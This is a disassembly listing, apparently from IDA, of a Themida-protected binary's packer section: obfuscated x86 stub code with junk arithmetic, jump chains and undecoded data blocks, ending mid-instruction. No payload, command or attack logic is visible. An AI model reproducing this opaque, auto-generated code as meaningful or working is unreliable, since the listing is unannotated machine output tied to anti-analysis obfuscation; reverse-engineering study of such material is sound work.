Themida_:005547F9j dec edx add edx, 39880D73h add edx, 7AEA1C1Ch jmp loc_561FB4 ; --------------------------------------------------------------------------- dw 8758h dd 815C241Ch, 4C1h, 5C3D6800h, 2C890000h, 2BD24h, 4AE90000h dd 54FFFFC3h, 4C3815Bh, 0E9000000h, 0FFFFE1D9h, 59CE015Eh dd 8B243487h, 0C8E92424h db 0Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562BB3: ; CODE XREF: Themida_:0056091Fj and ecx, ebp jmp loc_55B74B ; --------------------------------------------------------------------------- dw 0EC81h dd 4, 56243C89h, 0C62A48BEh, 5EF78908h, 0C15FF921h, 0F18106E1h dd 2E394FB3h, 81E9CF01h db 0B5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562BDF: ; CODE XREF: Themida_:0055FE49j mov eax, esp jmp loc_5566AD ; --------------------------------------------------------------------------- dw 0C331h dd 0FF6A1CE9h, 48B66FFh, 6C146824h, 4890000h, 7BE95424h dd 55FFFF16h, 0A529ECBDh, 4DDDF752h, 0FF4AE0E9h, 44CDBBFFh dd 0FBE91129h, 5FFFFFEBh, 0FF8FCDE9h, 53AE68FFh, 4890000h dd 0B5685124h, 0FF4E935Fh, 83592434h, 0BA5204C4h, 80F70BFh dd 9749C281h, 8AE936A1h, 89000052h, 0B1685DE9h, 8900004Fh dd 0E956240Ch, 0FFFF5C45h, 42474FFh, 24048F5Bh, 6B77E95Ch dd 77FFFFFFh, 19589D1Ch, 0E99C2404h, 0FFFEFFC8h, 0E906B551h dd 2DC1h, 295EF029h, 4B6E68D8h, 2C890000h, 3EB4BD24h, 440532A7h dd 160CB33h, 33442DE8h, 0BAE960CBh, 0AD000009h, 67B46850h dd 2C890000h, 67F0BD24h, 0F5811AEDh, 843339Ah, 194BC581h dd 585562A3h, 0FFD7A2E9h, 241489FFh, 642912BAh, 3B15B904h dd 0D131686Ch, 0FF6D2CE9h, 13EE81FFh, 0E94E135Eh, 0D0h dd 52243489h, 0DF30BBBAh, 4888E951h db 2 dup(0) ; --------------------------------------------------------------------------- loc_562CEA: ; CODE XREF: Themida_:0055B2EAj push 6BB519B9h pop ebx shl ebx, 3 add ebx, 0CB2A5BEFh jmp loc_55EF5B ; --------------------------------------------------------------------------- dw 0E958h dd 0FFFF7BFEh, 3D5868h, 6B07E900h, 0EC81FFFFh, 4, 0B6241489h dd 8012B4CCh, 39E94BC4h, 0FEFFFF00h, 70A668CFh, 4890000h dd 80AAB424h, 0EC308BECh, 0FFDB93E9h, 24148BFFh, 4C481h dd 0AAE90000h, 5A00002Eh, 2774BA52h, 0F2810B9Dh, 15147425h dd 0FFFFBD55h, 0C281FFFFh, 34456442h, 0EA81EA29h, 34456442h dd 0FF3E12E9h, 0E18159FFh, 378870ABh, 63E9D9F7h, 0FFFFFF78h dd 0C8B2434h, 33E95324h, 100000Bh, 0C1815DE9h, 4, 2474FF51h dd 0AEE95904h, 55FFFFF2h, 0BF085168h, 0C1EEE938h, 0E958FFFFh dd 53Fh, 24343358h, 33243431h, 895C2434h, 27BB241Ch, 5246385Eh dd 813841BAh, 0B85033h, 0E9000000h, 0FFFF3527h, 0A504DF04h dd 46E045Bh, 91B652D9h, 0FFCA7CE9h db 0FFh ; --------------------------------------------------------------------------- loc_562DE1: ; CODE XREF: Themida_:0055926Cj sub bl, 56h mov eax, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp jmp loc_564565 ; --------------------------------------------------------------------------- db 57h dd 0C781E789h, 4, 8704EF83h, 895C243Ch, 68522414h, 6C704EA4h dd 2454295Ah, 525E5A04h, 89433BBAh, 0AEA8138h, 0E90A0049h dd 0FFFFEFC9h, 0E95AD501h, 0FFFF0613h ; --------------------------------------------------------------------------- loc_562E38: ; CODE XREF: Themida_:005618FBj mov ebp, 62364369h jmp loc_5590B3 ; --------------------------------------------------------------------------- dw 3487h dd 24248B24h, 0FEFDEBE9h, 0E9DAF7FFh, 0FFFFCD71h, 4BF57h dd 71E90000h, 55FFFF2Ch, 206E97BDh, 0E9DDF743h, 0FFFF74DDh dd 81E38953h, 4C3h, 0C10E900h, 0BF570000h, 3C7603C9h, 501C68h dd 5A9BE900h, 34FFFFFFh, 808EE924h, 74FFFFFFh, 34FF0424h dd 24048B24h, 4C481h, 54570000h, 0FF2342E9h, 5E5456FFh dd 0FF1AA4E9h, 240C33FFh, 33E7685Ch, 0C890000h, 4EC8124h dd 89000000h, 8850241Ch, 58C388D0h, 5A868h, 24048900h dd 0FF187AE9h, 0F6C688FFh, 5AF088D6h, 0BBB23704h, 0FFDCBEE9h dd 4C483FFh, 0DA68D829h, 89000004h, 9ABF243Ch, 1165C4Dh dd 8B3EE9F8h, 335DFFFFh, 14312414h, 24143324h, 0FF417BE9h dd 3A568FFh, 1C890000h, 27685624h, 0E9769133h, 0FFFF3B85h dd 1149B951h, 0C829628Ch, 81240C8Bh, 4C4h, 0C12D5900h dd 5608117Dh, 907CAFBEh, 44D0E905h, 0EF83FFFFh, 4EC8304h dd 0FF243C89h, 0E9042474h, 0FFFF79D9h ; --------------------------------------------------------------------------- loc_562F58: ; CODE XREF: Themida_:0055E324j push edi mov edi, 16AE3C16h push ebx mov ebx, 51D40083h dec ebx jmp loc_55D08B ; --------------------------------------------------------------------------- aIiiSG db '‰ë‰ßé',0Ah db 'G',0 dw 5100h dd 73235EB9h, 9022E97Ch, 433FFFFh, 24043124h, 0FEFCAFE9h db 0FFh ; --------------------------------------------------------------------------- loc_562F89: ; CODE XREF: Themida_:00559F53j pop esi or eax, eax jmp loc_55D72C ; --------------------------------------------------------------------------- db 83h, 0ECh, 4 dd 81241489h, 197B242Ch, 0F6E9216Ch, 1FFFFC5h, 9EE95DEFh dd 1FFFF15h, 13DC05D8h, 0F4E90C1Dh, 88FFFFF6h, 865B66D8h dd 0DC09E9C3h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562FC2: ; CODE XREF: Themida_:0055A818j sub al, cl sub al, 5 jmp loc_55C442 ; --------------------------------------------------------------------------- db 1 dd 1C875EF3h, 24248B24h, 8868E1F7h, 89000071h, 9C502414h dd 0FEFC53E9h db 0FFh ; --------------------------------------------------------------------------- loc_562FE5: ; CODE XREF: Themida_:0056422Dj add esp, 4 pop dword ptr [esp] pop esp shl eax, cl sub esp, 4 mov [esp], ebx push edi push ebp mov ebp, 31EA7FD4h jmp loc_5675C8 ; --------------------------------------------------------------------------- dw 0C481h dd 4, 220C942Dh, 7570E920h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563016: ; CODE XREF: Themida_:0055B9D8j add ecx, 0FFFFFFFFh neg ecx xor ecx, 0FFB919B4h add ebx, 26E275E0h add ebx, 1EA8318Fh add ebx, ecx sub ebx, 1EA8318Fh sub ebx, 26E275E0h mov ecx, [esp] add esp, 4 jmp loc_55A87B ; --------------------------------------------------------------------------- db 68h, 0A4h, 37h dd 2C890000h, 4BD24h, 0EE810000h, 1C83120Ah, 0B73C681h dd 0EE01010Ah, 1410E9h db 0 ; --------------------------------------------------------------------------- loc_563069: ; CODE XREF: Themida_:0055D5B9j mov ebx, esp add ebx, 4 jmp loc_55C9A7 ; --------------------------------------------------------------------------- dw 5542h dd 16C4E9h db 0 ; --------------------------------------------------------------------------- loc_56307D: ; CODE XREF: Themida_:0055E03Aj pop ecx pop dword ptr [esp] pop esp jmp loc_559AEA ; --------------------------------------------------------------------------- loc_563087: ; CODE XREF: Themida_:0055C185j pop ebp jmp loc_55A9D7 ; --------------------------------------------------------------------------- db 81h, 0E9h, 0C5h dd 816D232Fh, 0FBC9C0F1h, 8BCF0148h, 16E9240Ch db 98h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5630A3: ; CODE XREF: Themida_:00563D7Ej push edx jmp loc_554D34 ; --------------------------------------------------------------------------- loc_5630A9: ; CODE XREF: Themida_:00564196j push 75B1h mov [esp], esi sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop esi jmp loc_564727 ; --------------------------------------------------------------------------- db 0FFh dd 0FF042474h, 0E9582434h, 0FFFFFDD5h ; --------------------------------------------------------------------------- loc_5630D4: ; CODE XREF: Themida_:0055433Ej sub eax, 1DCE05AFh sub eax, edi add eax, 1DCE05AFh jmp loc_55A54A ; --------------------------------------------------------------------------- db 0BDh, 14h, 70h dd 0E9014E03h, 0FF49B2E9h, 4C581FFh, 83000000h, 0E2E904C5h dd 0C1FFFF3Eh, 0E94205E2h, 0FFFF1F38h, 4BBh, 5BD80100h dd 5C240487h, 71A68h, 243C8900h, 0FFBCBFE9h, 240C89FFh dd 370043B9h, 4B5CE92Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56312E: ; CODE XREF: Themida_:0055F7DDj xor eax, edi pop edi and ebx, eax pop eax push edx mov edx, 6CD969A9h add edx, 6400840h not edx xor edx, 0A6BC88A5h sub edx, 49910A61h shr edx, 7 push esi mov esi, 0C985286h add esi, 5AB35A3h add esi, 38FE7E49h and edx, esi jmp loc_55E9FF ; --------------------------------------------------------------------------- dw 6ABAh dd 8128E270h, 3649A8C1h, 57D12920h, 3649A8BFh, 0B4B5E920h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563182: ; CODE XREF: Themida_:0055501Bj add [esp+4], edi pop edi mov ebx, [esp] add esp, 4 add ebx, 4 add ebx, 4 sub esp, 4 mov [esp], ebx jmp loc_565CB2 ; --------------------------------------------------------------------------- dd 2404895Ch, 0D7B6B7B4h, 34FFE628h, 0EC835824h, 241C8904h dd 5652E389h, 4041BEh, 8BF2890Ah, 0C4832434h, 4AD2F704h dd 5406CA81h, 0E94A28FAh, 0FFFF45C7h, 0E9243C87h, 0FFFFDD31h dd 5104C483h, 0C181E189h, 4, 4E981h, 0FF510000h, 0E9042474h dd 0FFFF10BAh ; --------------------------------------------------------------------------- loc_5631FC: ; CODE XREF: Themida_:00553ECAj pop dword ptr [esp] mov esp, [esp] jmp loc_557C04 ; --------------------------------------------------------------------------- db 81h dd 0DE1E53EBh, 84EB8132h, 1757665h, 188E9C3h, 0E95EFFFFh dd 1B0Ah ; --------------------------------------------------------------------------- loc_563220: ; CODE XREF: Themida_:00565DC2j add ebp, 4 xchg ebp, [esp] pop esp push 437Fh jmp loc_555297 ; --------------------------------------------------------------------------- aRs_2 db 'RS³=²]',0 db 0DAh dd 80DAF65Bh, 0F280F3CAh, 7E2C07Fh, 4EC81h, 0C890000h dd 0E9FFB524h, 3BBFh, 24BD5546h, 810E2C6Ch, 0F50933EDh dd 1C2DE908h, 15FFFFFh, 0EC815FFBh, 4, 68240489h, 4F16h dd 0FF06B7E9h db 0FFh ; --------------------------------------------------------------------------- loc_563281: ; CODE XREF: Themida_:00563C95j add edi, esi add edi, 71052828h pop esi jmp loc_55E30D ; --------------------------------------------------------------------------- db 81h dd 4ECh, 24348900h, 42474FFh, 0FEFA6CE9h, 0E08950FFh, 405h dd 40500h, 89E90000h, 89FFFF7Fh, 4C381E3h, 83000000h, 0DBE902C3h dd 68FFFFEDh, 0FB0h, 55241489h, 5E768E68h, 0E8F5E931h dd 9D68FFFFh, 89000039h, 5D54242Ch, 4C581h, 1CE90000h dd 30000043h, 30E830C5h, 86D8F6C5h, 0B2B050C5h, 0F886BA04h dd 2FC6E9h, 5B545300h, 4C381h, 0C3810000h, 4, 0FFCB4CE9h dd 0E5905FFh, 0D0E92827h, 89FFFFF2h, 0A5B62414h, 0FFA4E9E9h dd 81D9F7FFh, 83D290F1h, 8BF10104h, 97E92434h, 68FFFF81h dd 0C9h, 56241489h, 4BEh, 5EF28900h, 148BD001h, 4C48324h dd 5004C083h, 42474FFh, 8124048Bh, 4C4h, 24048F00h, 2404015Ch dd 0F8C6E99Ch, 0BE56FFFEh, 2FDF34ADh, 895EF731h, 0ABE9307Ah db 23h, 2 dup(0) ; --------------------------------------------------------------------------- loc_563383: ; CODE XREF: Themida_:0056201Aj sub esi, 58F263EBh push ebp mov ebp, 315F9EC9h add esi, 1052536Dh sub esi, ebp push edi push ebp mov ebp, 4D6C2ED8h mov edi, ebp pop ebp and edi, 47CB2541h shl edi, 4 jmp loc_56561A ; --------------------------------------------------------------------------- db 0BDh dd 4, 0BDE9EF01h, 0BEFFFF8Bh, 5DC25556h, 8105E6C1h, 0A20660EEh dd 0BE25E966h, 0EC81FFFFh, 4, 0B1240C89h, 8852534Bh, 5AD788CAh dd 595BF888h, 6658C128h, 30C7B252h, 148B66D1h, 152FE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5633F6: ; CODE XREF: Themida_:00552E37j add edi, esi jmp loc_55FF33 ; --------------------------------------------------------------------------- loc_5633FD: ; CODE XREF: Themida_:00564770j pop edi push eax push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp jmp loc_555CD3 ; --------------------------------------------------------------------------- loc_563417: ; CODE XREF: Themida_:0055A613j add edi, 4 jmp loc_557308 ; --------------------------------------------------------------------------- db 66h dd 68240C8Bh, 5C45h, 0FFA0D8E9h db 0FFh ; --------------------------------------------------------------------------- loc_56342D: ; CODE XREF: Themida_:00555331j or ah, 0A0h add ah, 1 shl ah, 8 add ah, 6Ah jmp loc_559B57 ; --------------------------------------------------------------------------- dw 2F2Dh dd 0C17AE25Eh, 0E12D07E8h, 0F73C320Bh, 2418E9D8h, 0E9590000h dd 0FFFFA860h, 22FE1BBh, 81DBF75Fh, 14707EBh, 0B8F38170h dd 8116E755h, 0EE0785CBh, 0AACB815Fh, 8171DB38h, 6DEBEFC3h dd 3C9CE98Dh, 4DBDFFFFh, 295B633Eh, 5D08246Ch, 2C8FE9h dd 4055F00h, 0E9000000h, 0FFFFAC98h, 240C8B66h, 2C481h dd 52660000h, 0D30029B2h, 0B60F5A66h, 87048FC0h, 0FF88D7E9h dd 4C483FFh, 8B243487h, 0C0E92424h, 66FFFFF3h, 44CF805Ah dd 80AECF80h, 0FD888CC7h, 0A7E5E95Bh, 0DBF6FFFFh, 0FE03EBC0h dd 25EB80CBh, 0E9EFF380h, 0FFFFB4D0h, 4EC8158h, 89000000h dd 32BD242Ch, 0C10B6213h, 13E903E5h db 0C3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563503: ; CODE XREF: Themida_:005589B0j add esi, eax mov eax, [esp] add esp, 4 add ebx, 4A396F66h jmp loc_557BFD ; --------------------------------------------------------------------------- loc_563516: ; CODE XREF: Themida_:00553839j xchg ebp, [esp] pop esp mov [esp], cx jmp loc_552C38 ; --------------------------------------------------------------------------- db 87h dd 0E95C240Ch, 3086h ; --------------------------------------------------------------------------- loc_56352C: ; CODE XREF: Themida_:00566ADBj sub eax, 8A56EFE6h xor ebx, eax jmp loc_5533D4 ; --------------------------------------------------------------------------- dd 315EF501h, 582D5DEEh, 1348076h, 22E953F0h, 8B000044h dd 0C481241Ch, 4, 0E893E955h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56355A: ; CODE XREF: Themida_:00553A04j pop edx dec ebx not ebx xor ebx, 0FAD69BBCh push ebx mov ebx, 32A978B1h jmp loc_55F0FA ; --------------------------------------------------------------------------- loc_56356F: ; CODE XREF: Themida_:00565F60j sub dh, 0AEh dec dh push ecx mov cl, 22h sub cl, 1 neg cl xor cl, 23h xor cl, 5Ah jmp loc_56632E ; --------------------------------------------------------------------------- db 0B7h dd 8E7C0E0h, 0FEFFEF80h, 80DFF6C7h, 0C680B8C7h, 80FE2891h dd 805B91EEh, 0C38090EBh, 80F3288Ch, 0C3808CEBh, 0EB805A90h dd 51C30028h, 0CB0028B1h, 81240C8Bh, 4C4h, 3CC38000h, 4EC81h dd 0C890000h, 4EC8124h, 89000000h, 0BA52243Ch, 7CC617F1h dd 3306E952h, 0EC83FFFFh, 24048904h, 468h, 0D5E95800h dd 0D1000010h, 81DEF7E6h, 5148FEEEh, 3032E98Ah, 685EFFFFh dd 2A54h, 52240C89h, 0CA06E568h, 0C2815A2Eh, 0D135F91Bh dd 815AD189h, 0D53DCAE9h, 81D90107h, 0D53DCAC1h, 3E63E907h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56362E: ; CODE XREF: Themida_:0055DF43j not dword ptr [esp] pop ebx xchg ebx, [esp] pop edx push eax push 1D87h jmp loc_558236 ; --------------------------------------------------------------------------- loc_563641: ; CODE XREF: Themida_:00566B8Fj push ebp jmp loc_558C95 ; --------------------------------------------------------------------------- aYh db 'Yh¸',0Dh,0 dd 240C8900h, 0FFBCDAE9h, 2434FFFFh, 421BE9h, 241C8900h dd 0FA88CF88h, 0FF0F19E9h, 81E789FFh, 4C7h, 0F8FDE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563676: ; CODE XREF: Themida_:0055B438j xor al, dh pop edx push ecx mov cl, 70h dec cl add cl, 96h sub al, cl pop ecx sub al, 1Dh xor dh, al pop eax xor dh, 8Ah jmp loc_566321 ; --------------------------------------------------------------------------- db 1, 0E8h, 2Dh dd 5B55781Dh, 5BDB055Dh, 0C8011125h, 5408BB53h, 0E3815104h dd 62F77DBEh, 0FBBA5243h, 0F7761D41h, 0C7EA81D2h, 0E92E3915h dd 4539h, 6505A7B8h, 95E9484Eh, 66FFFF61h, 0B4505153h dd 0E9E1886Ah, 126Fh, 8904EC83h, 0EB682434h, 89000018h dd 4832424h, 525E0424h, 0FFDBCEE9h db 0FFh ; --------------------------------------------------------------------------- loc_5636F1: ; CODE XREF: Themida_:0055558Bj push dword ptr [esp+4] pop ebp pop dword ptr [esp] jmp loc_55DCD3 ; --------------------------------------------------------------------------- dw 248Bh dd 2434FF24h, 0FF6AACE9h, 8BEB89FFh, 0C481242Ch, 4, 7FE9DE01h db 24h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56371B: ; CODE XREF: Themida_:0055FAF1j push dword ptr [esp] jmp loc_5567FD ; --------------------------------------------------------------------------- loc_563723: ; CODE XREF: Themida_:00556B17j or eax, eax jz loc_552E56 push dword ptr [edi+1Ch] push dword ptr [esp] push dword ptr [esp] pop ecx add esp, 4 sub esp, 4 mov [esp], edx push esp push dword ptr [esp] pop edx add esp, 4 push esi mov esi, 0F217505h sub esi, 339036A8h shr esi, 1 jmp loc_55C67D ; --------------------------------------------------------------------------- loc_56375F: ; CODE XREF: Themida_:0055CCCEj sub [esp+4], edx sub dword ptr [esp+4], 4BAB7E16h pop edx mov ebp, [esp] add esp, 4 push esi mov esi, 4F0F1E0Ah sub esi, 274E619Ah push ebp mov ebp, 5A75AFEh not ebp jmp loc_5577E0 ; --------------------------------------------------------------------------- loc_56378B: ; CODE XREF: Themida_:0055C3B3j mov [esp], edx mov edx, 6E1C43F3h xor ecx, edx push dword ptr [esp] pop edx push edx mov edx, esp push ebx push ebp mov ebp, 9E8444Bh jmp loc_5656BC ; --------------------------------------------------------------------------- dd 4C581h, 0ED810000h, 4, 5C242C87h, 51243C89h, 10F2E9h dd 54316800h, 48B1620h, 4C48124h, 0E9000000h, 0FFFF742Ah dd 4EC81h, 3C890000h, 4EC8124h, 89000000h, 27BD242Ch, 816D0305h dd 4ECh, 240C8900h, 17D96853h, 0C15B38B2h, 0EBC106E3h dd 78EB8104h, 0E9C85BF1h, 3F85h ; --------------------------------------------------------------------------- loc_56380C: ; CODE XREF: Themida_:0055B630j pop ebx xor edx, ebx push dword ptr [esp] mov ebx, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] jmp loc_557873 ; --------------------------------------------------------------------------- db 52h, 0BAh, 4 dd 1000000h, 1C875AD3h, 24248B24h, 784A68h, 242C8900h dd 2FB85056h, 816B0A20h, 4ECh, 243C8900h, 329FBB53h, 0D3F750D7h dd 0EBC1D3F7h, 8BD5503h, 0E918A62Ah, 0FFFFA9ABh, 66505566h dd 6630C8B8h, 6658C589h, 0D1E9EA29h, 46FFFFC7h, 55D4E681h dd 0E9531DB1h, 0FFFF89A9h, 0C24E981h, 0CF296094h, 81240C8Bh dd 4C4h, 74FF5700h, 8F5F0424h, 0E95C2404h, 0FFFFEDA1h dd 5324048Bh, 0C381E389h, 4, 0CAF8E952h, 5B54FFFFh, 0FFEFE5E9h db 0FFh ; --------------------------------------------------------------------------- loc_5638C1: ; CODE XREF: Themida_:0055F53Aj mov eax, [esp] add esp, 4 and ecx, ebx mov ebx, [esp] add esp, 4 shr ecx, 0Ah push edx mov edx, esp add edx, 4 push edi mov edi, 0EC55000h jmp loc_5589B5 ; --------------------------------------------------------------------------- db 58h, 5, 4 dd 0E9000000h, 3AFEh, 5B2434FFh, 509668h, 243C8900h, 0BB53E789h dd 511C0B36h, 0FFA8CAE9h db 0FFh ; --------------------------------------------------------------------------- loc_56390D: ; CODE XREF: Themida_:0056147Fj push esi mov esi, 730B4C19h or esi, 2BCE6068h or esi, 36715EECh jmp loc_561DB1 ; --------------------------------------------------------------------------- dd 57241489h, 0FF846FE9h, 2DD029FFh, 443836C9h, 0D36C6205h dd 4875A7Eh, 482EE924h, 0BE560000h, 53942099h, 15EF029h dd 209905C8h, 52D5394h, 8B722932h, 0C481240Ch, 4, 0E9240433h dd 19C6h, 5A2434FFh, 4C481h, 1C870000h, 71E95C24h, 8BFFFF0Ah dd 0C483240Ch, 0EE18104h, 57192C08h, 3282E9h, 5E0C100h dd 0FF7920E9h, 58BE56FFh, 81295C05h, 5C055CF6h, 5EF10129h dd 334D68h, 242C8900h, 4BDh, 0E9E90100h, 0FFFF5E65h ; --------------------------------------------------------------------------- loc_5639B8: ; CODE XREF: Themida_:00557E58j sub edx, 6EC6723Fh dec edx and edx, 27323D07h add edx, 1068532h xor ebp, edx pop edx add eax, ebp pop ebp push dword ptr [edi+eax*4] push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] mov esp, [esp] mov [esp], edi push 75A7h mov [esp], ecx mov ecx, 57D2105Ah sub ecx, 1E6179BAh and ecx, 0B867833h xchg eax, ecx dec eax xchg eax, ecx jmp loc_567C5D ; --------------------------------------------------------------------------- loc_563A0B: ; CODE XREF: Themida_:0055C471j pop dword ptr [esp] pop esp push 60B4h mov [esp], ecx mov ch, 0AFh and ch, 16h sub esp, 4 mov [esp], ebx mov bl, 79h xor bl, 0BCh neg bl push edx jmp loc_55D530 ; --------------------------------------------------------------------------- dw 815Dh dd 4C5h, 3156E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_563A3E: ; CODE XREF: Themida_:0056702Cj push 6B44h jmp loc_56764E ; --------------------------------------------------------------------------- dd 2B60F66h, 141D6866h, 0FF3EDCE9h db 0FFh ; --------------------------------------------------------------------------- loc_563A55: ; CODE XREF: Themida_:00559846j mov eax, [esp] add esp, 4 push 4826h mov [esp], esi mov esi, 4 push edi mov edi, 7D4F0290h push ecx mov ecx, 55E535ADh shl ecx, 8 or ecx, 3C294D40h sub ecx, 873B7D34h sub eax, ecx jmp loc_55433D ; --------------------------------------------------------------------------- dw 0E468h dd 8900003Fh, 64E9240Ch, 5700001Dh, 0FF4756E9h db 0FFh ; --------------------------------------------------------------------------- loc_563A9D: ; CODE XREF: Themida_:0055EBB2j mov ecx, [ebx] jmp loc_5624DE ; --------------------------------------------------------------------------- dd 0FEF18FE9h, 4EC781FFh, 1964B92h, 0F5685FF9h, 89000013h dd 4BB241Ch, 81000000h, 764514C1h, 81D9016Dh, 764514E9h dd 241C8B6Dh, 0E904C483h, 0FFFFAF70h ; --------------------------------------------------------------------------- loc_563AD8: ; CODE XREF: Themida_:00563D6Dj xor edx, esi pop esi jmp loc_566793 ; --------------------------------------------------------------------------- dd 0B8240489h, 25B0106Fh, 3508E0C1h, 0A0AD4DE6h, 5758C689h dd 0B4448ABFh, 5FF98938h, 2610F181h, 0E181088Ch, 49B474BFh dd 0FFF1F7E9h, 7FD968FFh, 0C890000h, 0D4BE5624h, 4E503B5Dh dd 0FF9E49E9h, 4EC83FFh, 0E9240489h, 0FFFF9CEEh, 0EEE980h dd 0E0C059C8h, 3E0C007h, 0F6503524h, 0E7E92414h, 5CFFFF4Ah dd 8B66C331h, 54552414h, 0FFA50FE9h, 0C3156FFh, 240C3324h dd 0F7240C31h, 65CC68D1h, 0C890000h, 2474FF24h, 48F5904h dd 2434FF24h, 7497685Eh, 34890000h, 348B5424h, 4C48324h dd 4C681h, 3CE90000h, 66FFFFE5h, 0C781664Fh, 81664161h dd 66D913C7h, 1176C381h, 66FB2966h, 1176EB81h, 8B2434FFh dd 8956243Ch, 4C681E6h, 0E9000000h, 0FFFF0875h, 0E0C034B0h dd 5E8C007h, 0C7005F34h, 3AC78058h, 0F3E9F830h, 5FFFF3Bh dd 761A2461h, 7746E95Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563BDA: ; CODE XREF: Themida_:0055AB7Fj add esp, 4 add esi, 4 push esi push dword ptr [esp+4] mov esi, [esp] add esp, 4 pop dword ptr [esp] jmp loc_55FB3E ; --------------------------------------------------------------------------- loc_563BF9: ; CODE XREF: Themida_:005619C2j pop eax jmp loc_55BA09 ; --------------------------------------------------------------------------- loc_563BFF: ; CODE XREF: Themida_:005570F9j sub edx, 0B5E71019h mov ebp, edx pop edx xor ebp, 1EB474A5h jmp loc_55C665 ; --------------------------------------------------------------------------- db 0FFh dd 34FF2434h, 0C4815824h, 4, 50E28952h, 4B8h, 58C20100h dd 3304EA83h, 14312414h, 24143324h, 241C895Ch, 0C9685B54h dd 89000064h, 4B82404h, 81000000h, 76202BEBh, 4EEB815Dh dd 15D237Ah, 4EC381C3h, 0E95D237Ah, 0FFFF9ADEh, 83242C89h dd 0F5E904ECh db 0D2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563C6F: ; CODE XREF: Themida_:0056169Cj mov edi, 45EA687Eh push 46FEh mov [esp], eax mov eax, 7C4E335Ch and edi, eax pop eax not edi add edi, 0BDDF7749h xor esi, edi pop edi sub edi, 71052828h jmp loc_563281 ; --------------------------------------------------------------------------- dw 0D568h dd 59559410h, 81D9F741h, 0F09533E9h, 248BE9A7h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563CAE: ; CODE XREF: Themida_:0055CF77j mov edi, [esp] add esp, 4 push ecx push ebp mov ebp, 2Ch mov ecx, ebp pop ebp jmp loc_55720C ; --------------------------------------------------------------------------- loc_563CC6: ; CODE XREF: Themida_:0055E9FAj push esi mov esi, esp jmp loc_55ACCD ; --------------------------------------------------------------------------- loc_563CCE: ; CODE XREF: Themida_:005597B3j push dword ptr [esp] jmp loc_56421E ; --------------------------------------------------------------------------- dw 835Ch dd 348904ECh, 34FF5424h, 0C4835E24h, 4EC8304h, 0FF822EE9h dd 1136BFFFh, 0BA5238E1h, 45C7514Ch, 0F708E2C1h, 0F2814ADAh dd 16686297h, 6856F281h, 5CE97CF2h db 9Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563D0F: ; CODE XREF: Themida_:00558C13j push 5CB767FBh mov edx, [esp] add esp, 4 push 5116h mov [esp], ebx mov ebx, 6ACB2403h inc ebx and ebx, 26AE47FAh not ebx add ebx, 69432B1Dh sub ebx, 46B9271Dh add edx, 2F26187Ch add edx, 780E783Eh add edx, ebx sub edx, 780E783Eh push ebp mov ebp, 733B56C7h shl ebp, 8 add ebp, 0F3CF517Ch sub edx, ebp pop ebp pop ebx dec edx push esi mov esi, 5CB767F8h jmp loc_563AD8 ; --------------------------------------------------------------------------- dw 0E95Ch dd 0FFFF8682h ; --------------------------------------------------------------------------- loc_563D78: ; CODE XREF: Themida_:005613AEj add ecx, 4 jmp loc_5630A3 ; --------------------------------------------------------------------------- db 81h dd 4C1h, 81E95600h, 0FFFFFF35h, 0C8B2434h, 4C48324h, 8904EC83h dd 5A542414h, 0FFE95456h, 66FFFFB5h, 53240C8Bh, 0FEFB55E9h dd 0C5295DFFh, 66685058h, 5849C32Fh, 158C501h, 66ED81FDh dd 8149C32Fh, 0C329FFC5h, 0C5815F20h, 4, 0D0E95453h, 51000033h dd 240C8B54h, 8104C483h, 4C1h, 0DE6EE900h, 0EF81FFFFh dd 5CCB74FCh, 335FFE29h, 34312434h, 24343324h, 0E924248Bh dd 0FFFF3B17h ; --------------------------------------------------------------------------- loc_563E08: ; CODE XREF: Themida_:00558C1Ej mov ebp, 0FFFFFFFFh mov edi, ebp pop ebp jmp loc_5570BD ; --------------------------------------------------------------------------- db 0C1h, 0E9h, 2 dd 387EC981h, 2DE90234h, 0B6FFFF3Bh, 3AB6E9A8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_563E2A: ; CODE XREF: Themida_:005656B7j add ecx, 786A3F7Eh add ecx, edx jmp loc_55E593 ; --------------------------------------------------------------------------- db 1 dd 5AEB81FBh, 0E914F72Bh, 0FFFF4AF4h ; --------------------------------------------------------------------------- loc_563E44: ; CODE XREF: Themida_:005540B6j pop ebp xor edx, esi push dword ptr [esp] jmp loc_560C83 ; --------------------------------------------------------------------------- db 81h dd 67273DC7h, 7CFFE97Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563E5A: ; CODE XREF: Themida_:0055C66Bj not ebp jmp loc_55AB74 ; --------------------------------------------------------------------------- db 1, 0C7h, 81h dd 617C9DEFh, 86685227h, 8900001Ch, 8DBD242Ch, 890D6B17h dd 0D7015DEAh, 24048B5Ah, 4C481h, 0EC830000h, 243C8904h dd 42474FFh, 24048F5Fh, 0F9F7665Ch, 0FF775FE9h, 240C89FFh dd 4E0A68h, 291EE900h, 0E95A0000h, 2B4Ah ; --------------------------------------------------------------------------- loc_563EB0: ; CODE XREF: Themida_:0055956Bj xchg esi, [esp] pop esp mov [esp], ebx mov ebx, 4CA4E1Ch jmp loc_556473 ; --------------------------------------------------------------------------- loc_563EC1: ; CODE XREF: Themida_:0055D985j xchg ebp, [esp] pop esp add ebp, 2B8F18B9h add ebp, 